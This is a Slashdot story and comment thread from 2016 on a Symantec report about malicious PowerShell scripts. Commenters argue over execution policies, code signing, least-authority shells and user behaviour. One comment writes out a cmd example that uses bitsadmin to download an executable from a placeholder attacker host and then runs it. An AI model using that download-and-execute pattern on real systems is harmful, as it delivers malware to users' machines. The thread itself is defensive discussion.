Want to read Slashdot from your mobile device? Point it at m.slashdot.org and keep reading!

 



Forgot your password?
typodupeerror
Microsoft Security Windows

PowerShell Security Threats Greater Than Ever, Researchers Warn (computerweekly.com) 129

Microsoft's Windows PowerShell configuration management framework continues to be abused by cyber attackers, according to researchers at Symantec, who have seen a surge in associated threats. From a report on ComputerWeekly: More than 95% of PowerShell scripts analysed by Symantec researchers have been found to be malicious, with 111 threat families using PowerShell. Malicious PowerShell scripts are on the rise, as attackers are using the framework's flexibility to download their payloads, traverse through a compromised network and carry out reconnaissance, according to Candid Wueest, threat researcher at Symantec.
This discussion has been archived. No new comments can be posted.

PowerShell Security Threats Greater Than Ever, Researchers Warn

Comments Filter:
  • And that's why Microsoft is replacing cmd.exe with PowerShell
    • Re:Replacing CMD (Score:4, Insightful)

      by Junta ( 36770 ) on Thursday December 08, 2016 @02:14PM (#53447567)

      Actually, CMD would be in theoretically worse shape if evaluated apples to apples. However, powershell *puroports* to have security features like execution policies and signing, so it draws more scrutiny. Those are pretty much useless in practice because a cmd script is not subjected to that scrutiny and can just modify the executionpolicy of powershell at will if it really wanted to do some nefarious stuff that required powershell (though they could easily use pretty much any language they want).

      • Re:Replacing CMD (Score:5, Insightful)

        by houstonbofh ( 602064 ) on Thursday December 08, 2016 @02:17PM (#53447591)
        Or, to rephrase, powerful tools are powerful tools. The main reason PowerShell can do more damage is because it can do more stuff.
        • Or, to rephrase, powerful tools are powerful tools. The main reason PowerShell can do more damage is because it can do more stuff.

          Yep. Its the same thing as the bash/csh/etc family of *nix shells. Plenty of malware nasties use it because its so easy to get a powerful result

          Its not really a vunerability ,just an enabler

      • Re:Replacing CMD (Score:5, Interesting)

        by naasking ( 94116 ) <[moc.liamg] [ta] [gniksaan]> on Thursday December 08, 2016 @02:31PM (#53447701) Homepage

        However, powershell *puroports* to have security features like execution policies and signing, so it draws more scrutiny.

        Both terrible "security" policies. What would a signature possibly mean to me as a user if I don't know you? With or without a signature, my choice is still: either I run this script I need to my job, or I don't and I can't do my job (or it gets much, much harder). So basically PowerShell's security is no better than any other shell that's come before it; it projects a false sense of security, and like UAC before it, it just gets in your way.

        So given the fact that getting a job done is king, and running scripts or programs written by potentially malicious people is the only reasonable way to do your job, then running arbitrary scripts must be made safe. The means to achieve this is the Principle of Least Authority (POLA), and POLA environments can and have been done before, even within commodity POSIX and Windows systems.

        The earliest secure POSIX shell that I recall was Plash [jhu.edu]. Now we also have Shill [harvard.edu] (requires a kernel module) and the Capsicum shell [github.com] (also requires kernel modules). Windows can be made POLA secure out of the box as was demonstrated with Polaris [hp.com].

        It's just amazing that we fail to learn the mistakes of the past even when solutions are available.

        • Re:Replacing CMD (Score:4, Interesting)

          by skids ( 119237 ) on Thursday December 08, 2016 @02:40PM (#53447773) Homepage

          What would a signature possibly mean to me as a user if I don't know you?

          Funny thing about them signatures. When a powershell script runs another powershell with -Verb RunAs to ask the user to elevate privileges, powershell.exe is "Signed By Microsoft" and tells the user so.

        • Re:Replacing CMD (Score:4, Interesting)

          by MightyMartian ( 840721 ) on Thursday December 08, 2016 @02:43PM (#53447797) Journal

          Some of the nastier scripts out there nowadays aren't really about gaining elevated privileges. Some of them, like the encrypting ransomware requires no special privileges at all, but simply access to user files, and to network files that the user has read/write access to. So while the critical aspects of a computer or a network are protected by execution and system resource access limitations, you need to prevent execution of unauthorized scripts completely.

          I have to admit I've found signing Powershell scripts to be a mighty pain in the arse, but it does provide some protection against external scripts running when you maintain the blocking of execution of unsigned scripts. It isn't a complete protection, unfortunately, and Powershell is only one route by which this kind of ransomware could end up on a system. Vulnerabilities in Java, MS-Office files, and even the execution of Windows Scripting Host files (vbscript and jscript) seem more common from my experience.

          The one bit of ransomware I saw got loose through a vbscript file attached to an email. For whatever reason, Outlook allowed it to be executed, and the user clicked the dialog that might have prevented it, and then the script went to town encrypting files on the user's own folders and the share. Fortunately there's a good backup regime in place, so there was very little actual loss, but it demonstrated that along with some vulnerabilities in Windows' execution protection schemes, the real weak link as always is users themselves.

          • Re:Replacing CMD (Score:5, Interesting)

            by naasking ( 94116 ) <[moc.liamg] [ta] [gniksaan]> on Thursday December 08, 2016 @03:07PM (#53447957) Homepage

            Some of them, like the encrypting ransomware requires no special privileges at all, but simply access to user files, and to network files that the user has read/write access to.

            Those are special privileges. I don't think you truly appreciate the meaning of POLA. When you run a program with a POLA shell, it literally has access to nothing except the memory in its own address space and any parameters it's passed via the command line. Here's a simple example of copying a file in a traditional Unix shell:
            $ cp foo.txt foo.bak
            To implement the desired copy functionality, the cp command must have access to the entire local environment, including the entire file system since it can lookup an arbitrary path. This is an absurd amount of authority for a program that merely copies bytes from a source to a sink. Now here's a POLA version of the same command:
            $ cp < foo.txt > foo.bak
            Notice that the only permissions cp needs are explicitly specified in the command. They are then opened by the trusted shell and passed in as file descriptors, a read-only one and a write-only one, to the untrusted program. The explicit permission grants are obvious, and POLA shells generalize this type of pattern to compartmentalize all programs.

            For whatever reason, Outlook allowed it to be executed, and the user clicked the dialog that might have prevented it, and then the script went to town encrypting files on the user's own folders and the share.

            A perfect failure of POLA. In a proper least authority environment, it would have been perfectly safe to run that program because it would have had to raise a request to the environment for a set of read/write file descriptors and your user would have been rightly suspicious of any program requesting access to so many files.

        • But malware writers won't be making bad powershell scripts as by default they can't be run and no one knows what they are besides system administrators. It won't ever be a target.

          • by naasking ( 94116 )

            It won't ever be a target.

            Famous last words. Developers and system administrators are high-value targets since they potentially have access to numerous systems with sensitive information.

        • by tepples ( 727027 )

          What would a signature possibly mean to me as a user if I don't know you?

          All code signing certificates issued by CAs trusted by popular operating systems are at least organizationally validated. This means two things: 1. the executable wasn't modified since it left the publisher's build farm, and 2. you know whom to sue if there are problems (especially in jurisdictions that don't allow a blanket disclaimer of all liability).

          With or without a signature, my choice is still: either I run this script I need to my job, or I don't and I can't do my job (or it gets much, much harder).

          I think the idea is that when faced with an unsigned script and a competitor's signed script, users will choose the signed script because of the guarantees

          • by naasking ( 94116 )

            This means two things: 1. the executable wasn't modified since it left the publisher's build farm, and 2. you know whom to sue if there are problems (especially in jurisdictions that don't allow a blanket disclaimer of all liability).

            Which a) just costs you more time and money, b) doesn't recover your lost data, and c) plenty of people with certificates aren't in your jurisdiction. Furthermore, you overestimate how difficult it is to obtain a valid certificate. All I need to do is own a domain. Anyone can p

            • by tepples ( 727027 )

              Furthermore, you overestimate how difficult it is to obtain a valid certificate. All I need to do is own a domain.

              This is true of TLS but not of code signing. There's no counterpart to Let's Encrypt ($0 for 90 days) or SSLs.com ($15 for three years), as far as I've been made aware. And a TLS certificate works across all major platforms, unlike an Authenticode certificate that works only for Windows, not for macOS or anything else. Apple is the only CA on macOS, and it charges $99 per year for a certificate that passes Gatekeeper.

              I have a feeling I missed something important.

        • > running scripts or programs written by potentially malicious people is the only reasonable way to do your job

          Maybe I'm reading too much into this part of your post, however, if the only way to do your job is to run scripts you download off the Internet, then may I suggest you're doing it wrong (TM) ?

          Typically, scripts are very small programs which you implement yourself for your own convenience. They are typically not distributed beyond your immediate team. If the "scripts" grow into applications for w

          • by naasking ( 94116 )

            There is no difference between scripts and programs. Everything I said applies equally to any software you download from the internet (browsers, e-mail clients, Office documents with macros), any packages you install via a package manager to do your development (npm, grunt, etc), etc. I think you can see that everyone downloads programs from the internet, and they face the choice of "run this and do my job or don't do my job" every day.

            And it's only going to become more pervasive. All of these scripts and p

        • Something is wrong in your workflow (not your fault I am guessing) if you are in such a time crunch that the _only_ way to accomplish your job is to google/download/run a random script. The rest of the comment is great, and should become the gold standard.
          • by naasking ( 94116 )

            Don't you use nuget if you're a .NET developer? NPM or Grunt if you do front-end web development? They all use scripts that run with your full authority, and these are used daily by tens of thousands of software developers. People who manage popular NPM packages could probably do a lot of damage if they wanted to, just by uploading a new version that does something nefarious. It's like a road runner cartoon, and we've all walked off a cliff and just keep reassuring ourselves that everything will be fine as

            • PowerShell scripts aren't executables. They're a text document that you can read and see what it's going to do.

              • by naasking ( 94116 )

                Are you for real? You can decompile executables and see what they're going to do too, so do you seriously expect people to audit every program they're going to run?

                Just because scripts are one or two orders of magnitude smaller than executables, why should the burden suddenly fall on end users to audit when a properly designed system wouldn't need such auditing for either programs or scripts.

                So here's an idea: don't design insecure systems so people don't have to do unnecessary, stupid and laborious work.

                • Yes I would expect someone running a script which is usually orders of magnitude smaller than an executable to look at it first. Would you run a bash script from an unknown source without checking it first?

        • Why would you run a script from someone you don't know without reading the code to see what it did?

          • by naasking ( 94116 )

            Do you read all of the Excel macros in a spreadsheet before allowing them to run? Do you read the NPM or nuget install scripts for every package before you download it so you can get your actual work done? How about for every update to every package?

            You seriously underestimate the number of scripts that are automatically run during normal, every day activity. You'll be fired for low productivity if you seriously think you can audit every script or program you need to run.

            • Is there any suggestion that nuget.org has been compromised? I didn't get that from the article. I will stay having a look from now on though. My boss won't have a problem with that.

              • by naasking ( 94116 )

                No, but that's not the point. Nuget packages have Powershell install scripts. Nuget packages can be created by anyone. Ergo, if you're really so paranoid about security that you plan to audit every script or program you run, then you should be auditing these too.

      • that's why I have ran Set-ExecutionPolicy -Unrestricted as an admin on all my servers! One, I just don't care. Two, I want to be able to run Powershell from the command line without any hassle. Did I mention I don't care?
  • FFS who writes this? Of course an anti-virus company is looking for malicious scripts and most of those are going to *wait for it* be malicious. The 5% who aren't are likely abject failures. Symantec isn't knocking on Initech's door asking Jim from the Windows team for his powershell solution to deploy licensed software packages
  • Well... (Score:5, Insightful)

    by The-Ixian ( 168184 ) on Thursday December 08, 2016 @02:14PM (#53447561)

    Good thing MS had the foresight to make sure that non-signed PS scripts aren't executable by default.

    Of course... sysadmins generally disable that restriction just like they turn of UAC... MS makes a security measure and people disable it and then complain that MS is so insecure.

    But then Linux is insecure in a lot of the same ways... it's only as secure as the weakest link... which is generally the apps running on it.

    • Good thing MS had the foresight to make sure that non-signed PS scripts aren't executable by default.

      But there are ways to launch it (Especially from a cmd shell) that bypass that.

      • Good thing MS had the foresight to make sure that non-signed PS scripts aren't executable by default.

        But there are ways to launch it (Especially from a cmd shell) that bypass that.

        If you have already popped a shell, PowerShell is not the deciding factor.

      • So what you're saying is that if you gain local admin access and launch a cmd shell you can get past the restrictions that are preventing you from doing stuff. hint the game was already lost the instant they had access to make those changes.
        • No, what he is referring to is that you get into a command shell, you can invoke an unsigned PowerShell script with PowerShell.exe -file. But that's not much different than source in bash.

          But it's hard to imagine a social engineering attack that would get a user to download a file and then get them into a CLI session to override execute flags or signing to invoke the script file.

    • it's only as secure as the weakest link... which is generally the apps running on it.

      No the weakest link sits between the keyboard and the chair

  • by OffTheLip ( 636691 ) on Thursday December 08, 2016 @02:23PM (#53447645)
    Maybe this will be the year of Linux on the desktop
    • by Anonymous Coward

      Forget Linux on the desktop. This is the year of Windows in your underpants.

      (That's a metaphor for "everywhere you don't want it to be".)

    • Actually, this brings up the follow-on question: how is bash - or any of the other unix-based shells, such as ksh, ssh, ash thru zsh - any more secure than PowerShell? Particularly since there are fewer people familiar w/ the latter - both malware authors as well as security experts
      • They're not, and suffer the same inherent vulnerability that Powershell or any other executable scripting language does; that even if you have core network and system resources ringfenced, malicious scripts can still play havoc with anything even regular users have access to (like shared file resources and the like).

        The reality is, and this has been known for a couple of decades now, email and web clients simply should not be able to execute code. But since executable code, whether macros or scripts, show u

        • by DarkOx ( 621550 )

          That isn't really the whole truth though is it. PS makes doing things to the system very easy. How do you change a registry entry from cmd? You probably have to write a reg file and invoke reg.exe. Same is true of Bash etc on linux. How do alter my desktop session to auto load your malware everytime I log in? Home bash isn't going to provide you a friendly interface to do that. You probably are going to be pushing sed scripts etc, it will be kludgy and unreliable. How do you exfil data with bash? /d

          • reg add \\keyname /v valuename /t type /d value

              You don't need to write a reg file and import it.

          • by athmanb ( 100367 )
            With a cmd file you can do the following
            bitsadmin /transfer foo /download http://hax0r.org/virus.exe [hax0r.org] c:\windows\temp\notavirus.exe
            c:\windows\temp\notavirus.exe

            At which point you can run anything. Same thing with bash and wget.
      • Re: (Score:2, Insightful)

        by tepples ( 727027 )

        how is bash - or any of the other unix-based shells, such as ksh, ssh, ash thru zsh - any more secure than PowerShell?

        Not allowing the equivalent of ShellExecute on a script without the execute bit set, and saving files downloaded from the Internet without the execute bit.

        • Didn't they already try that and you have to "Unblock" downloaded files before you can run them? Even wrote a command to save you time cause you hate having them blocked (Unblock-File).

          My question is whether a malicious PNG opening on debian can cause the system to let it load a bash shell that downloads an exploit from a random IP to get in and deliver the payload. If not, then its better than powershell from that standpoint.

          • by tepples ( 727027 )

            My question is whether a malicious PNG opening on debian can cause the system to let it load a bash shell

            Even if it does, it won't last long, as libpng will be patched promptly. And it won't require a complete reboot, just closing and reopening all applications that link to libpng.

      • The knowledge gap between windows and linux users is quite large. To answer your question if a linux shell is more secure than windows powershell, it isn't, at least, not at face value. However, the fact that linux users are more likely to take care about what they're running than windows users, this makes all the difference.

  • by SuperKendall ( 25149 ) on Thursday December 08, 2016 @02:34PM (#53447727)

    With great PowerShell comes great ResponsibilityShell.

    • by Anonymous Coward

      Click a Slashdot article with an idea in the head, browse down and discover the post with the same idea..Slashdot never fails. :)

  • Well duh (Score:5, Insightful)

    by Billly Gates ( 198444 ) on Thursday December 08, 2016 @02:40PM (#53447777) Journal

    WHen you run powershell as an admin it can do bad things. Who would have thought? I wonder if Linux is vulnerable if someone is logged in as root?

    Powershell is not enabled with an execution policy by default. It has to be enabled and most people do not even know what it is so this is no threat? At work we have a GPO that blocks powershell for any non AD admin.

  • by HalAtWork ( 926717 ) on Thursday December 08, 2016 @02:41PM (#53447783)

    Powershell has been used to carry out tasks, but we're not talking about PowerShell being exploited here. A pre-existing problem (be it an exploit used to deliver the script, or an ID 10 T problem) would have had to manifest, and you still need to escalate privileges to do something other than a temporary infection or encryption/ransom of the current user account.

    • Actually under XP where people logged in as a real local admin it was worse as VBScript could be run without any execution policy right from IE 6!

      A good NT system administrator would create a GPO to block this in IE .... however really horrible CRM apps at work required this functionality to run! So full scriptkiddies away. These insecure apps are the reason Windows 7 was avoided for so many years at these companies who kicked and cried to leave these IE 6 apps behind.

      Powershell is a big improvement over vb

  • by ErichTheRed ( 39327 ) on Thursday December 08, 2016 @02:43PM (#53447795)

    PowerShell isn't a scripting language in the traditional sense -- it's a whole ecosystem that can expose the entire machine if you have the rights, and perform extremely complex stuff on the user's behalf. If you can convince someone to remove the execution protection and run a script you provide, it makes for a very easy malware-distribution utility because it can basically do anything the native OS can, call .NET code directly, grab data from URLs, have JSON conversations, remotely manage other machines on the network and so on. The out of box settings are to only run digitally signed scripts and not allow scripts to be run from remote locations, but it's very possible to just run "Set-ExecutionPolicy Unrestricted" and drop all the protections...then the code you run has all the rights your user account does.

    I've mentioned this before, but PowerShell is one of those things that Windows admins are slowly adopting, simply because the alternatives have worked well in the past and are easy to get the basics down in. Those alternatives are disappearing on Windows, so there will be a phase where these kinds of attacks could be very prevalent. It's a little bit like TLS certificates for internal applications -- many admins I know will do the absolute minimum required to stop the browser from showing a certificate error, then run away screaming. And that kind of makes sense -- unless your job is web programming or you're a PKI expert, the details of certificates are very complex and not well documented in an easily digestible form. Like certificates, PowerShell has a really steep learning curve before you can do really useful stuff in it. The basics are easy, but learning to think of every command as returning objects rather than text output you have to play with is a big jump for some people. Makes perfect sense for developers, but less sense for IT people or cross-platform people used to dealing with files and text I/O streams.

    • by tepples ( 727027 )

      It's a little bit like TLS certificates for internal applications -- many admins I know will do the absolute minimum required to stop the browser from showing a certificate error, then run away screaming.

      The difference being that with TLS, browsers treat a domain-validated certificate as sufficient, but there's no counterpart to DV certificates in code signing.

    • by SQLGuru ( 980662 )

      And yet....most people who's job is web programming assume that certificates are part of an admin's job. The classic "it worked fine on my dev box" (which usually doesn't have much in the way of security enabled) excuse will come up and the web dev will try to throw the problem over the wall.

    • PowerShell isn't a scripting language in the traditional sense -- it's a whole ecosystem that can expose the entire machine if you have the rights, and perform extremely complex stuff on the user's behalf.

      So, just like the Unix shell, then.

  • Now more than 95% of PowerShell scripts analysed by Symantec researchers have been found to be malicious, with 111 threat families using PowerShell.

    What scripts were they analyzing? I've got a bunch of Powershell scripts, and none of them are malicious.
  • The ironic thing is that every time I try to learn PowerShell I can't get past all the security restrictions it puts on me!

  • by Anonymous Coward

    Wait until they find out about buffer overruns in C.

  • Just implement Bitlocker in Allow Mode on a system running PSv5 and you'll be much safer.
  • by jxander ( 2605655 ) on Thursday December 08, 2016 @04:50PM (#53448725)

    How about you don't run random code that you don't understand.

    Screwing up your system by running someone else's scripts is not unique to Powershell (or MS in general).

    Microsoft might take the brunt of the malicious code however, because their software is designed to be easy. Any screwball can stumble their way through adding users or DNS zones in AD's GUI and call themselves a sysadmin. The mental barrier to entry is low, so you'll end up with a higher percentage of idiots running Windows systems. If those same idiots knew how to CLI, they'd be admins for *nix systems, and writing their own code for Powershell on the windows side. But they don't. So they google "How to ... in Powershell," download the first .ps1 file they find and right-click Run as Admin.

Houston, Tranquillity Base here. The Eagle has landed. -- Neil Armstrong

Working...